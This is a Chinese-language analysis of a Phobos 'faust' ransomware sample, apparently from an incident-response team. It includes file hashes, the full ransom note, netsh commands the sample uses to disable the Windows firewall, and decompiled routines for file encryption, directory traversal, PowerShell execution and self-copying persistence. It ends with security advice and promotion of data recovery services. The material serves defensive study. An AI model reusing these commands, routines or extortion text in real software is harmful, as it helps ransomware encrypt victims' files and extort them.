1.背景
1.1来源
2.恶意文件基础信息
2.1 文件基础信息
| 大小 | 59392(58.00 KiB) |
|---|---|
| 操作系统 | Windows(XP) |
| 架构 | I386 |
| 模式 | 32 位 |
| 类型 | GUI |
| 字节序 | LE |
| MD5 | 5932e1119f7d71b231a4c519213ae3a0 |
| SHA256 | 17aa246dee83714cef88b0a6c031050620d0360ee070b14ed21c3a2e047379f2 |
2.2 勒索信
info.txt
Your data is encrypted and downloaded!
Unlocking your data is possible only with our software.
Important! An attempt to decrypt it yourself or decrypt it with third-party software will result in the loss of your data forever.
Contacting intermediary companies, recovery companies will create the risk of losing your data forever or being deceived by these companies.
Being deceived is your responsibility! Learn the experience on the forums.
Downloaded data of your company.
Data leakage is a serious violation of the law. Don't worry, the incident will remain a secret, the data is protected.
After the transaction is completed, all data downloaded from you will be deleted from our resources. Government agencies, competitors, contractors and local media
not aware of the incident.
Also, we guarantee that your company's personal data will not be sold on DArkWeb resources and will not be used to attack your company, employees
and counterparties in the future.
If you have not contacted within 2 days from the moment of the incident, we will consider the transaction not completed.
Your data will be sent to all interested parties. This is your responsibility.
Contact us.
Write us to the
In case of no answer in 24 hours write us to this e-mail:
Write this ID in the title of your message:
If you have not contacted within 2 days from the moment of the incident, we will consider the transaction not completed.
Your data will be sent to all interested parties. This is your responsibility.
Do not rename encrypted files
Do not try to decrypt your data using third party software, it may cause permanent data loss.
Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.
3.恶意文件分析
3.1威胁分析
| 病毒家族 | Phobos |
|---|---|
| 首次出现时间/捕获分析时间 | 2024/01/15 || 2024/03/04 |
| 威胁类型 | 勒索软件，加密病毒 |
| 勒索软件地区 | 国外 |
| 加密文件扩展名 | 形如 .id[8E1EA49A-3541].[[email protected]].faust |
| 勒索信文件名 | info.hta info.txt |
| 有无免费解密器？ | 无 |
| 联系邮箱 | [email protected] |
| 检测名称 | Avast (Win32:RansomX-gen [Ransom]), AhnLab-V3 (Ransomware/Win.Ransom.C5011664), AliCloud (RansomWare), Avast (Win32:RansomX-gen [Ransom]), Avira (no cloud) (HEUR/AGEN.1319014), BitDefenderTheta (Gen:NN.ZexaF.36802.muW@a83MUGci)，ClamAV（Win.Ransomware.Rapid-9371249-0），Cybereason（Malicious.0fe686），Cynet（Malicious (score: 100)），DrWeb（Trojan.Encoder.37869），eScan（Trojan.GenericKD.70329037）， Fortinet （W32/Filecoder.MALL!tr.ransom），Google（Detected） |
| 感染症状 | 无法打开存储在计算机上的文件，以前功能的文件现在具有不同的扩展名。桌面上会显示一条勒索要求消息。 |
| 感染方式 | 受感染的电子邮件附件（宏）、恶意广告、漏洞利用、恶意链接 |
| 受灾影响 | 大部分文件都经过加密，如果不支付赎金无法打开。 |
3.2加密前后对比
加密前
加密后
3.3 关闭防火墙
netsh advfirewall set currentprofile state off
netsh firewall set opmode mode=disable
4.逆向分析
4.1 文件加密 sub_408EBE
int __usercall sub_408EBE@<eax>(const WCHAR *a1@<edi>, _DWORD *a2, int a3, const WCHAR *lpFileName, char a5)
{
int FileW; // ebx
DWORD FileAttributesW; // eax
int v7; // eax
LARGE_INTEGER FileSize; // [esp+8h] [ebp-20h] BYREF
LARGE_INTEGER v10; // [esp+10h] [ebp-18h]
DWORD dwFileAttributes; // [esp+1Ch] [ebp-Ch]
DWORD v12; // [esp+20h] [ebp-8h]
int v13; // [esp+24h] [ebp-4h]
v13 = 0;
FileW = (int)CreateFileW(a1, 0x80000000, 7u, 0, 3u, 0, 0);
if ( FileW == -1 )
return v13;
if ( !GetFileSizeEx((HANDLE)FileW, &FileSize) )
goto LABEL_15;
CloseHandle((HANDLE)FileW);
FileW = -1;
v10 = FileSize;
if ( FileSize.QuadPart )
{
FileAttributesW = GetFileAttributesW(a1);
dwFileAttributes = FileAttributesW;
if ( FileAttributesW != -1 )
{
v12 = FileAttributesW & 1;
if ( (FileAttributesW & 1) != 0 )
SetFileAttributesW(a1, FileAttributesW & 0xFFFFFFFE);
v7 = (a5 & 1) != 0 || v10.QuadPart < 0x180000ui64
? sub_408782(a2, a3, a1, lpFileName, a5)
: sub_408C42(a3, a1, lpFileName, a5);
v13 = v7;
if ( v12 )
{
if ( v7 )
{
SetFileAttributesW(lpFileName, dwFileAttributes);
return v13;
}
SetFileAttributesW(a1, dwFileAttributes);
LABEL_15:
if ( FileW != -1 )
CloseHandle((HANDLE)FileW);
}
}
}
return v13;
}
4.2 文件加密 sub_408782
int __usercall sub_408782@<eax>(_DWORD *a1@<eax>, int a2, LPCWSTR lpFileName, LPCWSTR a4, char a5)
{
int v6; // eax
_DWORD *v7; // ebx
int v8; // eax
char *v9; // edi
HANDLE FileW; // eax
int v11; // ebx
int v13; // [esp-Ch] [ebp-2A4h]
int v14; // [esp-8h] [ebp-2A0h]
int v15; // [esp-4h] [ebp-29Ch]
char v16[296]; // [esp+10h] [ebp-288h] BYREF
char v17[300]; // [esp+138h] [ebp-160h] BYREF
int v18; // [esp+264h] [ebp-34h]
int v19; // [esp+268h] [ebp-30h]
_DWORD *v20; // [esp+26Ch] [ebp-2Ch]
DWORD NumberOfBytesWritten; // [esp+270h] [ebp-28h] BYREF
int v22; // [esp+274h] [ebp-24h]
int v23; // [esp+278h] [ebp-20h]
DWORD dwFlagsAndAttributes; // [esp+27Ch] [ebp-1Ch]
LARGE_INTEGER liDistanceToMove; // [esp+280h] [ebp-18h] BYREF
DWORD nNumberOfBytesToRead; // [esp+288h] [ebp-10h]
DWORD nNumberOfBytesToWrite; // [esp+28Ch] [ebp-Ch] BYREF
HANDLE hFile; // [esp+290h] [ebp-8h]
HANDLE hObject; // [esp+294h] [ebp-4h]
v23 = 0;
nNumberOfBytesToRead = a1[9] - (a1[9] & 0xF);
v19 = sub_408601(lpFileName);
v6 = sub_4090C6(v19);
v7 = (_DWORD *)a1[8];
v18 = 2 * v6 + 2;
v20 = v7 + 8;
if ( ((2 * (_BYTE)v6 + 34) & 0xF) != 0 )
v8 = 32 - ((2 * (_BYTE)v6 + 34) & 0xF) + 2 * v6 + 2 + 16;
else
v8 = 2 * v6 + 34;
v22 = v8;
v9 = (char *)v7 + v8;
hObject = (HANDLE)-1;
dwFlagsAndAttributes = GetFileAttributesW(lpFileName);
if ( nNumberOfBytesToRead >= (unsigned int)&v9[-a1[8] + 178] && GetFileAttributesW(a4) == -1 )
{
FileW = CreateFileW(lpFileName, 0xC0000000, 0, 0, 3u, 0, 0);
hFile = FileW;
if ( FileW != (HANDLE)-1 )
{
liDistanceToMove.QuadPart = 0i64;
if ( SetFilePointerEx(FileW, 0i64, &liDistanceToMove, 2u) )
{
if ( liDistanceToMove.QuadPart )
{
liDistanceToMove.QuadPart = 0i64;
if ( SetFilePointerEx(hFile, 0i64, &liDistanceToMove, 0) )
{
hObject = CreateFileW(a4, 0x40000000u, 1u, 0, 1u, dwFlagsAndAttributes, 0);
if ( hObject != (HANDLE)-1 && !sub_40669B(v16, *a1, a2) )
{
while ( ReadFile(hFile, (LPVOID)a1[8], nNumberOfBytesToRead, &nNumberOfBytesToWrite, 0) )
{
if ( nNumberOfBytesToWrite < nNumberOfBytesToRead )
{
dwFlagsAndAttributes = 16 - (nNumberOfBytesToWrite & 0xF);
sub_408FA9(nNumberOfBytesToWrite + a1[8], 0, dwFlagsAndAttributes);
nNumberOfBytesToWrite += dwFlagsAndAttributes;
}
if ( !sub_406432(v16, a1[8], a1[8])
|| !WriteFile(hObject, (LPCVOID)a1[8], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0)
|| NumberOfBytesWritten != nNumberOfBytesToWrite )
{
break;
}
if ( nNumberOfBytesToWrite < nNumberOfBytesToRead )
{
v15 = v18;
*v7 = 0;
v14 = v19;
v7[1] = 2;
v13 = (int)v20;
v7[2] = -257466862;
v7[6] = 32;
sub_408FD7(v13, v14, v15);
sub_408FD7(v9, a1 + 1, 20);
sub_408FD7(v9 + 20, a2, 16);
sub_408FD7(v9 + 40, *a1 + 32, 128);
sub_408FD7(v9 + 172, a1 + 6, 6);
v11 = v22;
*((_DWORD *)v9 + 9) = dwFlagsAndAttributes;
*((_DWORD *)v9 + 42) = v11 + 178;
if ( !sub_40669B(v17, *a1, a2) )
{
if ( sub_406432(v17, a1[8], a1[8]) )
{
sub_408FA9(v17, 0, 296);
if ( WriteFile(hObject, (LPCVOID)a1[8], *((_DWORD *)v9 + 42), &NumberOfBytesWritten, 0) )
{
if ( NumberOfBytesWritten == *((_DWORD *)v9 + 42) )
{
if ( (a5 & 4) != 0 )
sub_4086B7(hFile);
if ( (a5 & 2) != 0 )
{
FlushFileBuffers(hFile);
FlushFileBuffers(hObject);
}
v23 = 1;
}
}
}
}
break;
}
}
sub_408FA9(v16, 0, 296);
}
}
}
}
CloseHandle(hFile);
if ( hObject != (HANDLE)-1 )
CloseHandle(hObject);
if ( v23 )
{
DeleteFileW(lpFileName);
}
else if ( hObject != (HANDLE)-1 )
{
DeleteFileW(a4);
}
}
}
return v23;
}
sub_408FD7(v13, v14, v15);
sub_408FD7(v9, a1 + 1, 20);
sub_408FD7(v9 + 20, a2, 16);
sub_408FD7(v9 + 40, *a1 + 32, 128);
sub_408FD7(v9 + 172, a1 + 6, 6);
4.3 加密核心 sub_406432
BOOL __cdecl sub_406432(int a1, int a2, int a3)
{
return sub_407447(a1, 1, a2, a3) == 0;
}
int __cdecl sub_407447(_DWORD *a1, int a2, _BYTE *a3, _DWORD *a4)
{
int v4; // ecx
char *v5; // eax
unsigned int v7; // ebx
_BYTE *v8; // eax
int v9; // esi
int v10; // ebx
_DWORD *v11; // esi
_BYTE *v12; // eax
int v13; // ecx
_DWORD *v14; // esi
bool v15; // zf
int v16; // [esp+0h] [ebp-18h]
int v17; // [esp+4h] [ebp-14h]
int v18; // [esp+8h] [ebp-10h]
int v19; // [esp+Ch] [ebp-Ch]
int v20; // [esp+10h] [ebp-8h]
unsigned int v21; // [esp+10h] [ebp-8h]
int *v22; // [esp+14h] [ebp-4h]
v5 = (char *)(a1 + 2);
if ( (v4 & 0xF) != 0 )
return -34;
if ( a2 )
{
if ( v4 )
{
v10 = v5 - a3;
v21 = ((unsigned int)(v4 - 1) >> 4) + 1;
do
{
v11 = a4;
v12 = a3;
v13 = 16;
do
{
v12[(char *)a4 - a3] = *v12 ^ v12[v10];
++v12;
--v13;
}
while ( v13 );
if ( a2 == 1 )
sub_406A04(a1);
else
sub_406F2A(a1);
a3 += 16;
a4 += 4;
a1[2] = *v11;
v14 = v11 + 1;
a1[3] = *v14++;
a1[4] = *v14;
v10 -= 16;
v15 = v21-- == 1;
a1[5] = v14[1];
}
while ( !v15 );
}
}
else if ( v4 )
{
v22 = (int *)a3;
v20 = v5 - (char *)a4;
v7 = ((unsigned int)(v4 - 1) >> 4) + 1;
do
{
v16 = *v22;
v17 = v22[1];
v18 = v22[2];
v19 = v22[3];
sub_406F2A(a1);
v8 = a4;
v9 = 16;
do
{
*v8 ^= v8[v20];
++v8;
--v9;
}
while ( v9 );
v22 += 4;
v20 -= 16;
--v7;
a1[2] = v16;
a1[3] = v17;
a1[4] = v18;
a1[5] = v19;
a4 = v8;
}
while ( v7 );
}
return 0;
}
4.4 目录遍历 sub_405D61
int __cdecl sub_405D61(
__int16 *a1,
int (__cdecl *a2)(__int16 *, WCHAR *, struct _WIN32_FIND_DATAW *, int),
int a3,
unsigned int a4,
int a5)
{
WCHAR *v5; // eax
WCHAR *v6; // esi
int v7; // ebx
int v8; // eax
int v9; // eax
struct _WIN32_FIND_DATAW FindFileData; // [esp+10h] [ebp-25Ch] BYREF
HANDLE hFindFile; // [esp+260h] [ebp-Ch]
int v13; // [esp+264h] [ebp-8h]
v13 = 0;
if ( a1 )
{
if ( a4 >= sub_4090C6(a1) + 2 )
{
v5 = (WCHAR *)sub_409041(2 * a4 + 2);
v6 = v5;
if ( v5 )
{
sub_40927D((int)v5, a1);
sub_4092B4(v6, L"\*");
hFindFile = FindFirstFileW(v6, &FindFileData);
if ( hFindFile != (HANDLE)-1 )
{
do
{
if ( FindFileData.cFileName[0] != 46
|| FindFileData.cFileName[1] && (FindFileData.cFileName[1] != 46 || FindFileData.cFileName[2]) )
{
v7 = sub_4090C6(a1);
if ( a4 >= v7 + sub_4090C6(FindFileData.cFileName) + 1 )
{
sub_40927D((int)v6, a1);
sub_4092B4(v6, &unk_40A208);
sub_4092B4(v6, FindFileData.cFileName);
v8 = a2(a1, v6, &FindFileData, a3);
if ( v8 )
{
if ( v8 < 0 )
break;
if ( a5 && (FindFileData.dwFileAttributes & 0x10) != 0 )
{
v9 = sub_405D61((__int16 *)v6, a2, a3, a4, a5 - 1);
v13 += v9;
}
else
{
++v13;
}
}
}
}
}
while ( FindNextFileW(hFindFile, &FindFileData) );
FindClose(hFindFile);
}
free(v6);
}
}
}
return v13;
}
4.5 UAC sub_403E39
int sub_403E39()
{
int v0; // esi
HANDLE CurrentProcess; // eax
int TokenInformation; // [esp+4h] [ebp-Ch] BYREF
DWORD ReturnLength; // [esp+8h] [ebp-8h] BYREF
HANDLE TokenHandle; // [esp+Ch] [ebp-4h] BYREF
v0 = 0;
TokenHandle = 0;
if ( (unsigned __int8)GetVersion() < 6u )
return 1;
CurrentProcess = GetCurrentProcess();
if ( OpenProcessToken(CurrentProcess, 8u, &TokenHandle) )
{
ReturnLength = 4;
if ( GetTokenInformation(TokenHandle, TokenElevation, &TokenInformation, 4u, &ReturnLength) )
v0 = TokenInformation;
}
if ( TokenHandle )
CloseHandle(TokenHandle);
return v0;
}
4.6 Powshell执行 sub_404B85
int __stdcall sub_404B85(LPVOID lpThreadParameter)
{
DWORD v1; // eax
HANDLE hWritePipe; // [esp+Ch] [ebp-84h] BYREF
HANDLE hReadPipe; // [esp+10h] [ebp-80h] BYREF
HANDLE hObject; // [esp+14h] [ebp-7Ch] BYREF
HANDLE v6; // [esp+18h] [ebp-78h] BYREF
int v7; // [esp+1Ch] [ebp-74h] BYREF
LPCWSTR lpApplicationName; // [esp+20h] [ebp-70h]
int v9; // [esp+24h] [ebp-6Ch]
DWORD NumberOfBytesWritten; // [esp+28h] [ebp-68h] BYREF
struct _SECURITY_ATTRIBUTES PipeAttributes; // [esp+2Ch] [ebp-64h] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [esp+38h] [ebp-58h] BYREF
struct _STARTUPINFOW StartupInfo; // [esp+48h] [ebp-48h] BYREF
v9 = 0;
v7 = 0;
lpApplicationName = (LPCWSTR)sub_403BB3(41);
hReadPipe = (HANDLE)-1;
hWritePipe = (HANDLE)-1;
hObject = (HANDLE)-1;
v6 = (HANDLE)-1;
sub_408FA9((char *)&StartupInfo, 0, 0x44u);
sub_408FA9((char *)&PipeAttributes, 0, 0xCu);
sub_408FA9((char *)&ProcessInformation, 0, 0x10u);
PipeAttributes.bInheritHandle = 1;
PipeAttributes.nLength = 12;
sub_403D4B((int)&v7, 0);
if ( CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0) )
{
if ( CreatePipe(&hObject, &v6, &PipeAttributes, 0) )
{
if ( SetHandleInformation(hWritePipe, 1u, 0) )
{
if ( SetHandleInformation(hObject, 1u, 0) )
{
StartupInfo.hStdInput = hReadPipe;
StartupInfo.hStdOutput = v6;
StartupInfo.hStdError = v6;
StartupInfo.wShowWindow = 0;
StartupInfo.cb = 68;
StartupInfo.dwFlags = 257;
if ( CreateProcessW(lpApplicationName, 0, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation) )
{
v1 = sub_4090B5(lpThreadParameter);
WriteFile(hWritePipe, lpThreadParameter, v1, &NumberOfBytesWritten, 0);
WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF);
sub_403D4B((int)&v7, 1);
v9 = 1;
}
}
}
}
}
if ( ProcessInformation.hProcess )
CloseHandle(ProcessInformation.hProcess);
if ( ProcessInformation.hThread )
CloseHandle(ProcessInformation.hThread);
if ( hReadPipe != (HANDLE)-1 )
CloseHandle(hReadPipe);
if ( hWritePipe != (HANDLE)-1 )
CloseHandle(hWritePipe);
if ( hObject != (HANDLE)-1 )
CloseHandle(hObject);
if ( v6 != (HANDLE)-1 )
CloseHandle(v6);
sub_4039DA((LPVOID)lpApplicationName);
sub_4039F9(lpThreadParameter);
return v9;
}
4.7 自我复制 sub_211236
HKEY sub_211236()
{
BYTE *v0; // ebx
int v1; // eax
DWORD FileAttributesW; // eax
int i; // eax
DWORD v4; // eax
HKEY phkResult; // [esp+14h] [ebp-34h] BYREF
LPVOID v7; // [esp+18h] [ebp-30h]
LPVOID v8; // [esp+1Ch] [ebp-2Ch]
LPCWSTR lpSubKey; // [esp+20h] [ebp-28h]
int v10; // [esp+24h] [ebp-24h]
HKEY v11; // [esp+28h] [ebp-20h] BYREF
LPVOID v12; // [esp+2Ch] [ebp-1Ch]
LPVOID v13; // [esp+30h] [ebp-18h]
LPVOID lpMem; // [esp+34h] [ebp-14h] BYREF
LPVOID v15; // [esp+38h] [ebp-10h]
LPCWSTR lpValueName; // [esp+3Ch] [ebp-Ch]
LPCWSTR v17; // [esp+40h] [ebp-8h]
LPCWSTR lpExistingFileName; // [esp+44h] [ebp-4h]
phkResult = 0;
lpSubKey = (LPCWSTR)sub_216347(17, 0);
v8 = (LPVOID)sub_213BB3(16);
v7 = (LPVOID)sub_213BB3(18);
v13 = (LPVOID)sub_213BB3(67);
v12 = (LPVOID)sub_219041(0x20Au);
lpExistingFileName = (LPCWSTR)sub_219041(0x20Au);
v17 = (LPCWSTR)sub_219041(0x20Au);
v0 = (BYTE *)sub_219041(0x20Au);
lpValueName = (LPCWSTR)sub_219041(0x20Au);
v15 = (LPVOID)sub_219041(0x20Au);
lpMem = 0;
if ( v0
&& lpExistingFileName
&& sub_215B0E((LPWSTR)lpExistingFileName)
&& v17
&& v12
&& sub_215B20(v12)
&& sub_2159F1((int)v17, 0x104u, 3)
&& lpValueName
&& sub_215B7C(lpValueName, 0)
&& v15
&& sub_215B7C(v15, 1)
&& sub_2159F1((int)v0, 0x104u, 3) )
{
if ( CopyFileW(lpExistingFileName, (LPCWSTR)v0, 0) )
{
v10 = sub_2190C6(v0);
v10 = RegOpenKeyExW(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20106u, &phkResult) ? 0 : sub_213A93(lpValueName, v0);
sub_2190C6(v0);
v1 = RegOpenKeyExW(HKEY_CURRENT_USER, lpSubKey, 0, 0x20106u, &v11) ? 0 : sub_213A93(lpValueName, v0);
phkResult = (HKEY)(v10 > 0 || v1 > 0);
if ( sub_2159F1((int)v0, 0x104u, 3) )
{
CopyFileW(v17, (LPCWSTR)v0, 1);
FileAttributesW = GetFileAttributesW((LPCWSTR)v0);
if ( FileAttributesW != -1 )
SetFileAttributesW((LPCWSTR)v0, FileAttributesW | 2);
}
}
if ( v7 )
{
sub_2135D2(&lpMem);
if ( lpMem )
{
v11 = 0;
for ( i = sub_2135A4(0); ; i = sub_2135A4(v11) )
{
v10 = i;
if ( !i )
break;
if ( sub_2159F1((int)v0, 0x104u, 3) )
{
CopyFileW(lpExistingFileName, (LPCWSTR)v0, 1);
if ( sub_2159F1((int)v0, 0x104u, 3) )
{
CopyFileW(v17, (LPCWSTR)v0, 1);
v4 = GetFileAttributesW((LPCWSTR)v0);
if ( v4 != -1 )
SetFileAttributesW((LPCWSTR)v0, v4 | 2);
}
}
v11 = (HKEY)((char *)v11 + 1);
}
sub_2190A1(lpMem);
}
}
}
sub_2139DA(v13);
sub_2139DA(v12);
sub_2139DA((LPVOID)lpExistingFileName);
sub_2139DA((LPVOID)v17);
sub_2139DA(v0);
sub_2139DA((LPVOID)lpValueName);
sub_2139DA(v15);
sub_2139DA((LPVOID)lpSubKey);
sub_2139DA(v8);
sub_2139DA(v7);
return phkResult;
}
5.病毒分析概览
6.安全建议
6.1 风险消减措施
资产梳理排查目标:根据实际情况，对内外网资产进行分时期排查
服务方式:调研访谈、现场勘查、工具扫描
服务关键内容：流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查
6.2 安全设备调优
目标
主要目标设备
6.3 全员安全意识增强调优
目标：
形式：
线下培训课表
1.提供相关的安全意识培训材料，由上而下分发学习
2.组织相关人员线上开会学习。线上培训模式。
线上学习平台
7.团队介绍
More
8.数据恢复服务流程
① 免费咨询/数据诊断分析
专业的售前技术顾问服务，免费在线咨询，可第一时间获取数据中毒后的正确处理措施，防范勒索病毒在内网进一步扩散或二次执行，避免错误操作导致数据无法恢复。
售前技术顾问沟通了解客户的机器中毒相关信息，结合团队数据恢复案例库的相同案例进行分析评估，初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
您获取售前顾问的初步诊断评估信息后，若同意进行进一步深入的数据恢复诊断，我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
专业数据恢复工程师根据数据检测分析结果，定制数据恢复方案（恢复价格/恢复率/恢复工期），并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
您清楚了解数据恢复方案后，您可自主选择以下下单方式：
双方签署对公合同：根据中毒数据分析情况，量身定制输出数据恢复合同，合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款，双方合同签订，正式进入数据恢复专业施工阶段，数据恢复后进行验证确认，数据验证无误，交易完成。
④ 开始数据恢复专业施工
安排专业数据恢复工程师团队全程服务，告知客户数据恢复过程注意事项及相关方案措施，并可根据客户需求及数据情况，可选择上门恢复/远程恢复。
数据恢复过程中，团队随时向您报告数据恢复每一个节点工作进展（数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认）。
⑤ 数据验收/安全防御方案
完成数据恢复后，我司将安排数据分析工程师进行二次检查确认数据恢复完整性，充分保障客户的数据恢复权益，二次检测确认后，通知客户进行数据验证。
客户对数据进行数据验证完成后，我司将指导后续相关注意事项及安全防范措施，并可提供专业的企业安全防范建设方案及安全顾问服务，抵御勒索病毒再次入侵。
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原文始发于微信公众号（solar专业应急响应团队）：【病毒分析】phobos家族faust变种加密器分析
